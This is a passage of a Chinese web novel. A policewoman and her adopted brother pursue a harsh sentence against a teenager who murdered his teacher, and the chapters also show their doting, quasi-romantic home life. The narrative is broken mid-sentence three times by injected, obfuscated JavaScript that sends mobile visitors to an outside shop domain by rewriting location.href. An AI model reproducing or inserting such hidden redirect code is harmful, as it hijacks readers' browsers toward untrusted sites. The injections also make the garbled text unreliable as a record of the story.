“你带头扰乱课堂纪律,反倒怪老师管不住,你这是强盗逻辑呀。” “我不管强盗不强盗……让我不快乐的人就得死……” “交待你的犯罪经过。” 辛子诚撇撇嘴,满不在乎道,“你们不是警察吗?自己查呗。” 李大刚一拍桌子喝道,“你什么态度?老实点!” “我什么态度?我有权保持沉默。在我的律师来之前我一个字也不会说。”辛子诚看了一眼武厉枭,阴恻恻道,“我记住你了,女魔头,开枪打我的腿,你完了!我让我爸爸妈妈去闹,去督察那里告你,去省公安厅告你,到抖音和小红书上曝光你,让你丢工作。” 武厉枭笑笑,“好,我等着。我谢谢你这么做。” “谢谢?” “因为这么做,你的罪名在量刑时会非常重。” “我判不了死刑,出来时照样弄死你。” “你出不来,你信吗?” “我不信。” “小朋友,不服老师的管教,就得服警察的管教。你这些罪名,完全可以顶格处罚,并处以大量罚金。你家长要闹,可以。恶意上访,诬陷,寻衅滋事,他们也会丢工作坐牢,面对巨额罚款。到时候,你一家子都会成为阶下囚。你就彻底没有退路了。” 辛子诚的父母果然和辛子诚预想的一样,先是在抖音、小红书、快手、微信视频号等各大平台侮辱诋毁武厉枭,甚至说武鹤翔的公司偷税漏税,武月直的荣宝斋老号用发霉面粉,连武厉枭当年从地缝里救出苏晏清也说成是她自己把四岁的苏晏清扔进地缝…… 苏晏清气愤不已,“姐姐,我去抖音上澄清。” “宝宝,清者自清。” “可是,我受不了别人这样骂你。” 武厉枭微笑道,“他们越骂,死得越惨。” 苏晏清想了想,“没错。侮辱诋毁执法人员,在网上发布不实消息,寻衅滋事,恶意上访,最高可判五年有期徒刑。”苏晏清兴奋道,“姐姐,犯罪嫌疑人□□自己的老师,故意杀人,又非法处理尸体,侵入校园,意图制造恐慌。而且是他主观加害,在对方身患抑郁症毫无反抗能力的基础上,对其实施惨无人道的性虐……只要证据充分,打成顶格处罚是有可能的。” “这几天嫌疑人的父母派律师来说:嫌疑人是受了黄色网站的不良影响……” “嫌疑人父母作为监护人,放任嫌疑人看不健康网站,已经失职。他们的护短,不正当投诉等行为,一步步把孩子变成了个恶魔。到时候社会舆论的压力,也会使得法官重判。姐姐你想,那位儿子□□女孩的歌唱家,为啥他儿子被判了十年。其实她如果不给儿子打无罪辩护,第一时间公开道歉,积极赔偿,暗中疏通运作,可能她儿子判不了那么重。可她偏要摆出那副特权阶级的嘴脸,引起了公愤。法院为了平息民愤,只能从严从重……” “宝宝,如果你是公诉方律师,有把握打好这场官司吗?” “有,姐姐,我有把握。” “好,姐姐明天跟局里说,让你以律师助理的身份进公诉方律师团。” 苏晏清说着说着,不觉得头有些疼,身上还阵阵发冷。武厉枭取过毯子披在他身上,“宝宝你怎么了?”她摸了摸苏晏清的额头,“哎呀,发烧了。”她连忙给他披上外套,“走,跟姐姐去医院。” “这么晚,算了吧,”苏晏清挤出一个惨淡的微笑,“折腾得爷爷和黄爷爷黄奶奶休息不好,岂不是我的罪过?” “傻宝宝,你都生病了,还管那么多干啥?”武厉枭帮他穿好衣服,驱车带他来到医院。挂号、找医生、化验……然后确诊是着凉和休息不好引起的发烧,开了点滴的药水。武厉枭把苏晏清带到病房里,扶着他躺下,“宝宝,待会儿就要打针针了,姐姐在这儿,别怕。” 苏晏清红了脸,“姐姐,我不怕打针的……我们……其实去静点室就可以,没必要单独开一间病房。” 武厉枭摸了摸他的头,帮他脱了鞋,把他扶上床,盖好了被子,又给他身后掖好靠枕,“静点室细菌多,容易交叉感染。”又接来一大杯水喂他吃药,“吃药药。” “这家私立医院,爸爸是大股东,你安心住就是。”武厉枭吩咐楼下的超市送来了黄桃、山楂、荔枝、椰果的什锦糖水和仿真的玩具消防车、搅拌机、高铁……堆满了苏晏清的床头柜。 “姐姐呀,”苏晏清哭笑不得地摇头叹气,“人家十九岁了……” “十九岁怎么了?十九岁也是我的宝宝。”武厉枭喂他吃了一口黄桃,“你小时候生病怕打针,在村卫生所里哭得惊天动地的,谁都哄不好,我喂你吃了一口糖水,你马上就不哭了。跟我说:姐姐,还要要……打完针你说手疼,让我给呼呼。我就抱你去小卖店买了个车车,你高兴得不得了,回去后睡觉都搂着车车在被窝里睡的。你奶奶说:这小坏蛋,生个病骗吃骗喝的不说,还诓了个大玩具。哈哈哈……” 护士带着输液器走了进来,武厉枭抱着苏晏清,让他倚在自己肩头,捂住他的眼睛,“宝宝不怕……打针针不痛痛……”待扎好后又拿来两个热水袋,一个灌好热水缠到输液管上,一个让苏晏清捂在手上,又跟护士说,“麻烦你拿个板子帮我弟固定一下,我怕他手动了会滚针。” 苏晏清的脸“唰”一下子红到了脖子,护士哭笑不得道,“那是给儿科病房的小朋友准备的,您弟弟是成年人,不需要。” 苏晏清忙拉过武厉枭,“姐姐我求你了……我真的不用……” “好吧好吧,那护士小姐,麻烦你给我拿个降热贴来。”武厉枭把冰凉凉蓝莹莹的卡通小熊降热贴粘在苏晏清额头上,惊喜不已地戳了戳他的脸,“宝宝,你这样太可爱!” “姐姐……其实我……没有很难受……贴这个……感觉像个小孩儿似的……” “你就是小孩子呀。”武厉枭拍拍他,“宝宝,睡觉觉吧,姐姐给你唱歌……” “我在马路边捡到一分钱,把它交到警察叔叔手里边……” 苏晏清朦朦胧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849733|211799||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 胧睡去,却恍惚听到走廊里有值班护士的低语,“VIP病房里的那两个是谁呀?” “是武总的女儿和养子……” “妈呀,刚才看到一楼超市送来那么多糖水、零食和玩具,我以为vip病房来了个小孩呢!” “就是,我那两岁的外甥上次生病,也没给买这么多玩具。” “可不嘛,儿科病房都从没见过这样的。” “真的是姐弟关系吗?怎么感觉……亲密得……有点癫……” “别胡说,武总的女儿你都敢议论……” 苏晏清打了一针点滴后就退烧了,武厉枭坚持让他再打一针巩固一下,然后才送他回学校的宿舍楼下。当他从宾利车里走出来时,武厉枭帮他穿上外套,整理头发,把书包背在身上,又拧开保温壶喂他喝了一口鲜榨橙汁,“宝宝,爷爷榨的橙汁能补充维c,记得喝完,明天店里的人会来给你送鲜榨葡萄汁。还有爷爷给你做的八珍糕和祛湿糕,黄奶奶给你准备的水果和牛奶,记得按时吃。” 苏晏清窘得满面绯红,每周五下午放学,武厉枭只要有时间必会来接他放学,那辆黝黑锃亮的路虎车往学校门口一停,姐姐打开车门,第一件事就是帮他卸书包,“宝宝,饿不饿?姐姐给你买了甜豆花、驴打滚和章鱼烧,车上垫垫肚子……”然后带他去各个餐馆“改善生活”——石锅拌饭、奶黄包、大排鸡汤面…… “姐姐……这么多人……其实……我可以坐公交车或地铁回家的……” “那怎么行!”武厉枭眼睛一瞪,嗔道,“公交车上人多,颠来颠去的,把你挤坏了怎么办?你呀,姐姐说要给你买丰田,你又不同意。” “可是,一辆丰田普拉多,要五十万的……我舍不得你这么破费……” “我愿意,小屁孩,还敢管大人的事啦!明天我休息,跟我去4s店。你早点开上车,爷爷也放心……” 李光明和刘国君大老远就看到了他们,大喇喇地跑过来搂住苏晏清的脖子,“清哥……”又跟武厉枭打招呼,“姐姐好……我们……没妨碍你俩吧?” “没有没有,”武厉枭从后备箱里拿出了两个硕大的购物袋,“这里有熏鸡、烤鸭、猪头肉、羊腿、牛腱子肉……还有爷爷做的糕点,都是给你们吃的。我弟病刚好,身体还很虚弱,麻烦你们了。” “好说好说!姐姐您不知道,晏清在我们学校有个绰号,叫万人迷。”二人争着抢着帮苏晏清拿书包和拉杆箱,“来,晏清少爷……大宝宝……愿为你效劳……” 苏晏清回到宿舍里,李光明迫不及待地从购物袋里掏出大肘子塞得满嘴流油,“清哥,咱姐还缺弟弟吗?你看我行吗……”刘国君则是好奇地盯着苏晏清把箱子里那几十件簇新的衣服一件件拿出来放进柜子里,“晏清,你是生病了还是上货去了?怎么着,这是要开店啊?还是出道啊?” “都是我阿姨……不,我养母给我的……”苏晏清无奈地挠挠头,“其实我也说过,我一个人穿不了这些。她们……唉……” 刘国君拎起一件纯羊绒银灰立领琵琶扣盘金绣龙纹大衣,“这衣服……好像上次哪个明星走红毯时穿的……我靠,不是吧不是吧!伯顿的袜子!阿玛尼的袜子!妈呀,我都得膜拜你的脚了……”他又指着一大堆印着黛岚、仙鹤、星空、天马、竹叶的冰丝平角内裤,“这啥呀?花手绢还是围巾呀?不对,是口罩吧!” “不是,”苏晏清忙叠起来放到柜子深处,“你快去吃肉吧,待会儿光明都吃光了。” 其实苏晏清第一次看到那些国风平角内裤时羞得恨不得钻到墙缝里去。那天武厉枭神神秘秘地把他拉进屋里,把那一盒子内裤一条条地摆在床上,“宝宝,好看吧?” “姐姐……” “放心,姐姐按你的尺码买的,这条平角的是冰丝的,夏天穿着舒服凉快,不出汗。这条是天丝人棉的,这条是桑蚕丝的……”她自顾自地在阳台上打开水龙头,把内裤放在水流下搓洗起来。“新衣服要洗一下才能穿,要不有甲醛。” 苏晏清大惊失色,忙抢过来,“姐姐,我自己洗……” “哎呦,你这孩子,怎么还害羞啊?”武厉枭笑着打趣道,“你小时候我还给你洗尿布呢!呵呵呵……” 苏晏清望着武厉枭房间阳台上晾的文胸和短裤,心莫名跳得飞快。他和武厉枭各自有阳台,平时衣服不在一起洗。但武厉枭每次来到他房间里,都会帮他收衣服。她个子没有那么高,衣服都是用撑衣杆取下来的,然后放在床上一件件地叠。上衣、裤子、袜子、内裤……每条衣服她都叠成一个小方块,整整齐齐温温柔柔地收纳起来。苏晏清看着她那满是珍珠质感的脸,突然也想变成她手里的衣服,变成她鬓边的一缕清风,变成她眼前的一道月光。 他突然也想去武厉枭的房间里帮她叠衣服,叠她的外套,叠她的裤子,叠她的文胸和内裤……那些用柚花香型洗衣凝珠洗得干干净净的衣服,就这样坦荡磊落地挂在武厉枭房间的阳台上,与他的写字台两两相望。那些文胸是淡蓝色的,有浅白的蕾丝边。那些短裤都是纯棉的,有白色的,肉粉色的,妃色的。他能想象到,那些薄薄的布料,贴着一具怎样年轻鲜嫩美好干净的□□。 胸口中滚滚烫意激荡,那些浮想联翩的想法,足够他再做一夜旖旎的清梦,也让他醒来后狂扇自己耳光,咬着被子哭得痛不欲生。 “姐姐,我的内裤够穿了。” “那天,我听到魏三有他们说:男人磨合好一条内裤多不容易,形成一个团队了,有感情了,哪那么容易解体呀?所以磨成了半透明了也不能换。”她摸了摸苏晏清的脸,“宝宝,咱们不学他们那些臭男生,你是我捧在手心里的宝贝,要香香的,干干净净的。” 苏晏清摸着武厉枭的脸,“姐姐,你也是我捧在手心里的宝贝。 27. 桑学勤昭雪 苏晏清带着一盒荣宝斋的橙香奶酥,一个自制的艾柱和一只黄铜艾灸罐找到赵新民,“新民哥,上次用的艾柱怎么样?我姐让我来看你,顺便给你送爷爷新做的点心。” 赵新民不动声色地笑了笑,“老弟,这么久不见,你还那么英俊潇洒,温柔体贴啊?难怪你姐对你那么好。外面那辆丰田普拉多是你的吧?你姐到底还是给你买车了?” “哥,你误会了,那是我姐给爷爷买的,我不过是爷爷的司机,平时送他去医院检查身体方便。” “老弟,找我来有什么事?” “我想求哥你……帮我找到辛子诚校园的证据,劝被霸凌的学生家长愿意作证。” “辛子诚?”赵新民想了想,“他的确爱打架,打伤人的事也会有发生,保卫处都去多少回了,110,120的车都进过我们学校,回回都是赔钱,写份检讨,道歉了事。但是老弟,你为啥要这么做呢?” “我已经加入了公诉方律师团。” “辛子诚那小子,坐牢是跑不了的。” “辛子诚的家长现在在网上兴风作浪,而且去省公安厅,国家公安部上访,诬告我姐。姐姐现在很被动。辛子诚的很多恶行,公安局无法公开。哥,我必须要以个人身份找出更多证据,在自媒体上正本清源,在法庭上,将辛子诚的量刑加重。害我姐姐的人,必须付出代价。” “老弟,你有把握让辛子诚坐多少年牢?” “无期。” “好,晏清老弟,我帮你。辛子诚每次犯事,学校都给我们下封口令,不许说出去。藏着掖着,害得学勤丢了一条命。学勤是我唯一的好朋友,厉枭是我的救命恩人,我必须帮你。” “哥,谢谢你。”苏晏清伸出手来,“合作愉快。” 赵新民握住了他的手,“我有个要求。” “只要老弟能办到的,我肯定帮忙。” “害了学勤的那帮尸位素餐的蛀虫,也要追究民事责任。” 不查不知道,一查吓一跳。原来辛子诚小学四年级在民办学校住校期间就伙同室友对隔壁宿舍一个瘦弱的男孩实施了同性猥亵□□行为。上了市一中后,他往同学的水杯里倒粉笔灰,把同学推下楼梯,抢同学的电话手表扔进厕所冲走,逼同学吃老鼠引诱剂……种种劣行,均因校方惧怕他父母告状闹事大事化小小事化了。而每次他犯错误,校领导都会指责桑学勤缺少带班技巧,德育教育不足,只有教不好的老师,没有教不会的学生。最后,就形成了辛子诚犯错,桑学勤背锅。 赵新民将桑学勤生前的针孔摄像头交给苏晏清,“这里是校长一次次地把学勤叫到办公室辱骂指责的视频,学勤偷拍的。那次,辛子诚运动会往楼下搬凳子的口吻用凳子打别的孩子头,校长把学勤叫过去骂了一顿。辛子诚辱骂语文老师,学勤批评辛子诚,辛子诚父母闹到学校,要求学勤上门下跪道歉……还有一次,辛子诚打别的同学,学勤去拉架时,不小心抓了一下辛子诚。教育局就给出了道歉,扣除一年绩效工资的处分。校长为了给辛子诚父母出气,追加了一个取消一年评优评先处分。学勤把这个针孔摄像头给我时说:新民,我可能要得抑郁症了。我把这个给你。我死了以后,你帮我把它交给警方。放在我那里,校长一旦找到了,会销毁的……” 随着自媒体针的持续发酵,网上针对辛父辛母和市一中校长的恶评铺天盖地袭来:熊孩子背后必有熊家长……惯子如杀子,慈母多败儿……熊学生的背后,熊校长是黑后台,是幕后者黑手……夹缝里求生存的老师,最可怜……建议高校取消师范专业,以后谁敢当老师了……市一中校长下台!跪舔熊家长臭不要脸……市一中校长连卖瓦罐汤的家长都怕,却对本校老师下毒手……熊家长恶意诬告办案警察,建议熊孩子执行死刑……希望法院网开一面,将这未成年恶魔枪毙……市一中校长又贪又贱,找他走后门,一斤红薯两斤花生都来者不拒……我是市一中的老师,校长就是个作威作福的老王八蛋!一有领导检查,让我们老师蹲在地上用海绵倒洗衣粉水擦地,用钢丝球刷地。对桑学勤老师更是过分,说他班包干区地上有落叶,大下雨天的,下班不让他回家,逼着他穿着雨衣扫落叶…… 在媒体舆论的连番加持下,将辛子诚判处无期徒刑的呼声越来越高,由苏晏清亲自撰写的结案陈词更是深深触动了法官和陪审团的心:桑学勤老师死了。他死在废弃的公共浴室里,死在预制板脱落的天花板下,死在他拼尽全力却从未被善待的校园里。死之前,他被□□、被殴打,死之后,他被塞进黑暗的缝隙,连一具完整的遗体都要靠楼板的腐朽才能重见天日。而杀他的那个人——十六岁,坐在这里,昂着头,瞪着眼,当着执行正义的警察叫嚣:“我判不了死刑,出来照样弄死你。”这不是年少无知。这是恶到极致。今天,公诉人不想再重复证据。我只想问法庭三个问题。第一问:教师的命,到底值不值钱?第二问:未成年人的身份,到底是谁的护身符?法律保护未成年人,是为了给迷途的孩子一条回头路。但辛子诚回头了吗?第三问:善良的人,还要退到哪里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849734|211799||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 去?桑老师一辈子都在退。退到教室最后一排,退到办公室角落,退到康养中心,退到抑郁症的病历本里,最后退到天花板上面。 退的人死了。进的人活着。忍的人碎了。狠的人笑了。——这是你们想看到的正义吗? 审判长、审判员:公诉人不请求死刑,因为法律不允许。但我请求——无期徒刑,顶格适用,一天都不能少。让他用一生去尝还这一天的罪。让他的青春在铁窗里腐烂,让他的嚣张在高墙下粉碎。让每一个正在模仿他的少年,隔着监狱的铁丝网看到:未成年人,不是人渣的免罪金牌。让桑学勤的名字,不再只是一个“背锅侠”的悲剧——让他的死,成为保护所有教师的最后一道防线。法庭,请从重判决。这是对死者的交代,是对生者的安慰,是对罪恶的回答…… 最终,辛子诚被判无期徒刑。辛父辛母因恶意上访,寻衅滋事,造谣等数罪并罚,被分别判处有期徒刑五年和三年。市一中领导班子大换血,校长胡先龄被双规,取消教师资格,开除党籍和公职,罚款50万元。德育副校长林毅留党查看一年,免职,党内记大过处分,不保留正科级待遇,扣除三年绩效奖金,三年不得职称晋级,不得评优评先,调离原单位,罚款30万元。德育主任刘肖,副主任宋万之,保卫主任闵钰,副主任陈水生,初二年级主任修平如,副主任周小江均被免职,处以党内记大过处分,不保留副科级待遇,扣除三年绩效奖金,三年不得职称晋级,不得评优评先。其余德育处和保卫处所有副职,干事一律免职,档案内警告处分,扣除一年绩效奖金,一年不得职称晋级,一年不得评优评先。省公安厅派出专案组,彻查市一中学生贩毒藏毒,以及精蓝网站教唆未成年人犯罪事件。市一中召开新闻发布会,向全社会公开道歉,由省教育厅,市教育局,市一中共同赔偿桑父桑母死亡抚恤金,慰问金,共计一百万。 当赵新民将一百万元交到桑学勤父母手上时,他对桑母说:“阿姨,我知道您望子成龙,一直对学勤诸多不满。但我要告诉您,学勤是英雄。现在省教育厅已经下达红头文件了,严禁任何人以任何理由辱骂教师,严禁学校对已受处分的教师追加处分,严禁因学生成绩不好表现不好问责班主任和任课教师,严禁一出现家长投诉就指责老师的行为。一旦出现,校级领导轻则诫勉谈话,重则记过处分,开除公职。市一中的同事都说:学勤的死促进了制度的完善。学勤,他用命为我们杀出了一条血路,他用自己的血肉铸成了新的长城。不管别人怎么看他,学勤,是我心中的英雄。” 28. 喜迎新年 桑学勤案终于昭雪,小年到来了。荣宝斋的生意每逢春节倍加繁忙。苏晏清则天天穿着工作服在操作间跟工人们一起加班加点,气得武月直摇头叹气道,“小祖宗,这里再忙也不用你,今天腊月二十八,你姐姐说今天下班要带你看话剧,你快去准备准备吧!”连工人们都笑着劝道,“少爷您行行好,别跟我们抢饭碗了行吗?我们保证把您新研制出来的冰糖蝴蝶糕和睡莲琉璃卷一比一还原出来,不会给您丢人的……”黄奶奶也在一旁劝,“你叔叔阿姨让秘书给你和你姐姐送来了过年的新衣服和新鞋子,还有一人一个大红包呢。你快去洗澡换上,让你姐姐高兴高兴。” “好,”苏晏清终于放下了手里的活,武厉枭也开车到家了。“宝宝,看看姐姐给你买了什么?” 苏晏清走过去一看,不由得摇头苦笑——是一盏电镀金鱼灯,一套乐高积木和一只一米高的变形金刚模型。 “宝宝,高兴吗?”武厉枭比破了案子还兴奋,“我刚才付钱的时候,旁边的那个小男孩一直躺在地上打滚让妈妈给买,他妈妈就是不给。所以啊,姐姐全款给你入手一个,让你实现这个春节的零食玩具自由。” 黄爷爷黄奶奶和员工们无不捂嘴窃笑,苏晏清害羞得恨不得原地消失,“姐姐,我……其实……我已经不需要玩变形金刚了……” “小男孩不是都喜欢变形金刚吗?”武厉枭挠挠头,“宝宝,你不喜欢吗?那你喜欢什么?告诉姐姐,姐姐买给你。” “不不不,我喜欢我喜欢。”苏晏清慌忙拉过武厉枭,“姐姐,你先回房间换衣服吧。我也要洗个澡,待会儿我们去看话剧。” 武厉枭回到房间后,看到床上是父母送来的新衣服、红包和黑卡,不由得莞尔一笑。爸爸妈妈知道她的工资全贴给队里,所以一直支持她“自费上班”。知道她靠自己的收入根本没有能力抚养苏晏清,便默默替她承担了苏晏清的一切开销,还经常送吃的穿的给他。数码相机、平板电脑、无人机……连武厉枭给苏晏清买丰田普拉提他们都全力支持。武厉枭想起苏晏清刚才抱着变形金刚的样子,脸上不由得泛起一丝甜笑,“他长多大,也是我最可爱的宝宝。” 武厉枭想起今天李大刚给她说:“义母,我咋觉得你最近跟平时不一样了?” “嗯?怎么不一样了?” “你带的糕点比原来的漂亮多了,什么丹花酪、春水生、翡翠梨糕……样样都是高颜值啊。” “哦,那都是我弟做的。” “你弟?就是你家收养的那个孩子?老舅?” “对。”武厉枭眉飞色舞道,“你老舅又聪明又能干,他研制出来的糕点卖得可好了。” 陈姐说:“对了,厉枭,我最近看你都是穿长裤了。你以前不是最喜欢穿九分裤,矮筒袜吗?” “哦,我弟说人体多条经络都从脚踝走,露脚踝会生病。他还给我买了水晶丝袜,穿着可舒服了。” 魏三有笑道,“陈姐你不知道,那天义母来上班,嘴唇上红鲜鲜的,把我吓一跳。我以为她吃人去了。后来才知道,妈呀,她涂口红了!义母!那是我们义母!居然涂口红啦!这是有情况啊!” 易学友笑道,“对呀,我也觉得义母最近变化挺大。脸都白了,黑眼圈也没了。是化妆了?义母这是咋了?化上妆了?我咋那么汗呢?” 武厉枭笑着啐道,“你们不好好办案,总琢磨我干嘛?一群损人!” “哎呦,我们是损人,人家是宝宝,是吧?”李大刚笑道,“义母,你没发现你最近提老舅提得太频繁了吗?动不动就是我弟说我弟说……上回兄弟们商量着一起点奶茶,你非要喝热红糖姜茶,说我弟说不要喝冰奶茶。前几天一起抓鱼,你又不肯下水,说我弟说女生的脚不能受寒……” “我弟说得没错,他是关心我好不好?” “还关心,你都快成弟宝姐了好不好?义母,其实我们对老舅的来历真的挺好奇的。老舅跟你们家到底啥关系?” “好了好了,我再说最后一遍,是我弟弟,中间走散了十几年,仅此而已。至于你们一个两个三个四个的,好好办案,没事别八卦。小心义母下次不给你们带好吃的,让你们一个个馋痨发作!” 武厉枭洗好了澡,吹干净头发,坐到桌前拿出那套化妆品。哎呀,怎么用啊?她涂了一层面霜,又涂了一层隔离,然后是妆前乳、粉底液、散粉、腮红……修容、高光、定妆,一层又一层,厚重、黏腻、假白,简直成了戏台上的曹操,日本的艺伎,顶个假脸。她烦躁不堪地把那些墙腻子擦掉,又淡淡地涂了面霜和一层隔离,打了点腮红,涂了口红,便穿上爸爸妈妈送来的新中式烫金圆领盘扣棉袄,敲开了苏晏清的门,“宝宝,你好了吗?” 苏晏清开门的那一刻几乎愣住了,过了一会儿方红着脸回过神来,“嗯……姐姐……叔叔阿姨送来的衣服,我穿哪件好?” “穿这件杏色的龙纹烫金棒球服棉袄吧。”武厉枭帮苏晏清把衣服穿上,系好扣子,戴上围巾,“宝宝,你的脸怎么这么红,是不是太热了?” 苏晏清眼睛亮得如碎钻般,握着武厉枭的手贴在脸上,“不,姐姐……你好美……” “坏蛋宝宝,”武厉枭害羞不已,扭过身去不理他,“都是你,自己的奖学金买点什么不好,买那些瓶瓶罐罐的化妆品做什么?姐姐又不会化妆……哎呀,都丑死了……” “不,”苏晏清从背后抱住了武厉枭,“姐姐,你是天底下最美,最可爱的女孩……” 武厉枭转过身来,轻轻地刮了一下苏晏清的鼻子,“傻宝宝,姐姐快三十岁了,哪里是女孩?”她双手环住苏晏清的脖子,“倒是我的宝宝,怎么长这么大了?大的……姐姐可能抱不动你了……” “不要紧……”苏晏清把武厉枭紧紧搂在胸前,他的心跳如隆隆的擂鼓声一般,“我可以抱着姐姐,一辈子抱着……”他拼命抑制住吻武厉枭的渴望,低哑着声音问,“姐姐……你今天……为什么要给我买那盏小鱼灯啊?” 武厉枭的眼泪却掉了下来,“你小的时候,家里一打架,外婆就去把你抱过来。后来,是我去抱你。两岁以后,就是你自己哭着跑过来……你跟我说:姐姐,我怕……我怕回家……怕爸爸……我带你去外婆的鱼塘看鱼,你就不会哭,就特别高兴……你说鱼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849735|211799||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 鱼是最好看的。我为了哄你,就说,其实,你家里也有鱼鱼,村里的池塘也有鱼鱼。你问我:姐姐,地缝那里也有鱼鱼吗?我随口一说:也有……没想到……你真的掉进去了……我后来无数次想……你是不是找鱼鱼去了……才……才会掉进去……” “不是的,姐姐……是我顽皮……自己不小心……掉进去了……”苏晏清摸着武厉枭的头发,帮她擦干眼泪,“求你了,别再为这事折磨自己了。你看我不是好好的吗?我做律师助理打赢了辛子诚案,院里给我加了五个学分呢。局里也给我六千块钱的律师费。上个学期,我得了一等奖学金,评上了市级优秀大学生,还入了党。姐姐,都过去的事了,忘了它,好吗?” “宝宝……我心疼你……这么多年姐姐不在身边,你一个人孤苦无依的是怎么长大的?生病了有人照顾你吗?被欺负了有人保护你吗……” “姐姐……我也心疼你……我好好的,长到了十九岁,可以照顾姐姐了……” 武厉枭摸了摸苏晏清身上的新棉衣,“是不是有点薄。姐姐再带你买一件羽绒服吧?” 苏晏清拉开衣柜,“姐姐你看,满满一柜子衣服,学校里还有一柜子衣服,实在是装不下了。我的室友都说,全学院里最爱臭美的女生衣服都没多。” 苏晏清说得没错,他那一柜子炫彩流光的新中式衣服让李光明和刘国君整天酸得跟吃了一箱子青柠檬似的。李光明总说:“我现在都不敢跟清哥一起走了,跟他一起走,我就像给他拎包擦鞋的。” 刘国君也吐槽道,“就是!这逼人整天上午一套下午一套的,骚包得恨不得洗个脸都得喷香水。我说晏清爱子啊,你这颜值高的能不能给我们这些没颜值的留条活路。” 苏晏清笑道,“不是我想换得那么频繁,是我上完体育课出了汗,怕有味道,就换下来了。” “一节体育课而已,能有啥味儿呀?再说了,男人有点味儿不正常吗?男人味儿男人味儿是怎么来的?就是得有点新鲜热辣江湖豪杰侠骨柔情的死鬼男人味儿!”刘国君振振有词道,“比如你义母总骂我是狗,那狗能没点儿狗味儿吗?” 李光明也打趣道,“有道是男人不臭,女人不嗅。臭男人臭男人,就是这么来的。我妈就总说我:你以后自己结婚过日子都别下厨房,你做那饭都得跟你打完篮球那衣服似的,馊臭口儿的……” 二人正说笑着,苏晏清突然接到了同城快递的电话。他赶紧到宿舍楼下去取,拿上来后那两个活宝又兴致勃勃地凑了过来,“妈呀,这回又是那个粉丝送的?” 苏晏清打开一看,是一只负离子粉蓝色的电吹风,里面还有一枚枫叶形卡片,上面写着:宝宝,洗完头发记得吹干再睡觉,要不容易头疼。 “啊啊啊啊……”李光明夸张地华作八爪鱼挂在苏晏清身上,“一刀杀了我吧……” 刘国君则做了个切腹吐血的动作,“我一个有对象的都没这么腻歪!不行了不行了!我要分分钟切腹自尽……” 其实,他们不知道的是,每次看到那满满几大柜子的衣服,苏晏清的心头并不轻松。他总觉得自己负债累累,倍加亏欠。 29. 看话剧 二人看的话剧是《蒋公的面子》。武厉枭一进剧场就觉得气氛不对,苏晏清看到她的神情不觉也紧张起来,“姐姐,怎么,有犯罪嫌疑人吗?” “不是,宝宝你看,满场没有老年人,没有小孩子,只有一群年轻人,个个手里拿着印刷资料。完蛋了,这部剧肯定不好看!” “嗯?为啥这么说呢?” “上次咱俩看的莫言的《鳄鱼》,你觉得怎么样?” “通俗易懂,风趣幽默,凡有井水处,皆可歌柳词。” “上次那场话剧,是不是来了很多的老人和小孩?” 苏晏清点点头。 “你看这场剧,没有老人小孩,说明剧情并不大众化。这么多年轻人,还带着纸质文本,说明台词艰涩难懂。我敢肯定,他们是附近几所大学的学生,来完成专业课作业的。他们的专业离不开:中文、历史、政治,可能还包括哲学。宝宝你要是不信,大可以拦住几个人问问。” 苏晏清玩心一起,便四处打探起来,果然和武厉枭说得一模一样,来看话剧全是附近几个大学社会科学专业的学生:汉语言文学专业、中国史专业、思想政治专业、马克思主义哲学专业。个个跃跃欲试道,“都说看《蒋公的面子》不笑的人是专业课不及格。我们今天完不完成作业两说,笑是必须得笑。” 演出开始了,现场果然笑声连连,连苏晏清这种笑点颇高的清冷系那一挂的都笑了好几次,武厉枭却皱着眉头莫名其妙。终于忍耐到了散场,她拉了拉苏晏清,“宝宝,你听懂了那三个演员说什么了吗?” “他们说的都是《诗经》、《论语》、《楚辞》里的典故,还有黑格尔的相对论,辩证法,以及费尔巴哈的三驾马车理论。” “妈呀,你怎么知道得这么多?” “姐姐你忘了,我是文科生啊,这些是高考的看家本领。” “哦,”武厉枭懊丧地挠挠脑袋,“看来是我胸无点墨。” “没有没有,”苏晏清搂住武厉枭的肩膀,“其实,这部话剧虽然名气不小,但演出受众面并不广。其实作为编剧,写出这么晦涩难懂的作品,满满的掉书袋,正是自己驾驭文字水平不高的体现。” “唉……我怎么连个话剧都看得吃力,我怎么这么笨啊?” “你不笨,是这个话剧不适合你看。”苏晏清耐心地劝慰她,“姐姐,我听说过几天有《大侦探赵赶鹅》,是全景沉浸式话剧,没有固定舞台的,观众们坐在公安局里,网吧里,小卖店里……特别适合打卡拍照。我们再来看,好吗?我保证给你拍出美美的照片。” “嗯,”武厉枭的情绪这才好转一点,她攀着苏晏清的手臂,把头靠上去,悠悠地说:“宝宝,没有你在,我可怎么办呀?” 